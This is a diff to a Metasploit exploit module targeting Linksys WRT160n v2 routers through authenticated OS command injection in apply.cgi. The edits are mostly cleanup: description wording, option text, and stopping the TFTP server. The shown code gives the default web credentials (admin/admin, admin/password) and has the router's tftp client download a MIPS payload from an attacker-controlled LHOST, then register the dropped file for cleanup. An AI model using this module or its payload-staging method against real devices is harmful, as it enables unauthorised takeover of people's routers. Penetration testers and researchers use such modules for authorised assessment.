@@ -14,19 +14,18 @@ class Metasploit3 < Msf::Exploit::Remote
14
14
include Msf ::Exploit ::Remote ::HttpClient
15
15
include Msf ::Exploit ::EXE
16
16
include Msf ::Exploit ::FileDropper
17
- include Msf ::Exploit ::Remote ::TFTPServer
18
17
19
18
def initialize ( info = { } )
20
19
super ( update_info ( info ,
21
20
'Name' => 'Linksys WRT160nv2 apply.cgi Remote Command Injection' ,
22
21
'Description' => %q{
23
- Some Linksys Routers are vulnerable to an authenticated OS command injection.
24
- Default credentials for the web interface are admin/admin or admin/password. Since
25
- it is a blind os command injection vulnerability, there is no output for the
26
- executed command when using the cmd generic payload. This module was tested on a
27
- Linksys WRT160n version 2 - firmware version v2.0.03. A ping command against a
22
+ Some Linksys Routers are vulnerable to an authenticated OS command injection on
23
+ their web interface where default credentials are admin/admin or admin/password.
24
+ Since it is a blind OS command injection vulnerability, there is no output for the
25
+ executed command when using the cmd generic payload. This module has been tested on
26
+ a Linksys WRT160n version 2 - firmware version v2.0.03. A ping command against a
28
27
controlled system could be used for testing purposes. The exploit uses the tftp
29
- client from the device to download the payload .
28
+ client from the device to stage to native payloads from the command injection .
30
29
} ,
31
30
'Author' =>
32
31
[
@@ -70,7 +69,7 @@ def initialize(info = {})
70
69
[
71
70
OptString . new ( 'USERNAME' , [ true , 'The username to authenticate as' , 'admin' ] ) ,
72
71
OptString . new ( 'PASSWORD' , [ true , 'The password for the specified username' , 'admin' ] ) ,
73
- OptAddress . new ( 'LHOST' , [ true , 'Our localhost IP address from where the victim downloads the MIPS payload' ] ) ,
72
+ OptAddress . new ( 'LHOST' , [ true , 'The listen IP address from where the victim downloads the MIPS payload' ] ) ,
74
73
OptString . new ( 'DOWNFILE' , [ false , 'Filename to download, (default: random)' ] ) ,
75
74
OptInt . new ( 'DELAY' , [ true , 'Time that the HTTP Server will wait for the ELF payload request' , 10 ] )
76
75
] , self . class )
@@ -170,13 +169,14 @@ def exploit
170
169
fail_with ( Exploit ::Failure ::Unknown , "#{ rhost } :#{ rport } - Unable to deploy payload" )
171
170
end
172
171
173
- # wait for payload download
172
+ # wait for payload download
174
173
if ( datastore [ 'DOWNHOST' ] )
175
174
print_status ( "#{ rhost } :#{ rport } - Giving #{ datastore [ 'DELAY' ] } seconds to the Linksys device to download the payload" )
176
175
select ( nil , nil , nil , datastore [ 'DELAY' ] )
177
176
else
178
177
wait_linux_payload
179
178
end
179
+ @tftp . stop
180
180
register_file_for_cleanup ( "/tmp/#{ filename } " )
181
181
182
182
#
@@ -207,10 +207,10 @@ def wait_linux_payload
207
207
208
208
waited = 0
209
209
while ( not @tftp . files . length == 0 )
210
- puts @tftp . files . length
211
210
select ( nil , nil , nil , 1 )
212
211
waited += 1
213
212
if ( waited > datastore [ 'DELAY' ] )
213
+ @tftp . stop
214
214
fail_with ( Exploit ::Failure ::Unknown , "#{ rhost } :#{ rport } - Target didn't request request the ELF payload -- Maybe it cant connect back to us?" )
215
215
end
216
216
end
0 commit comments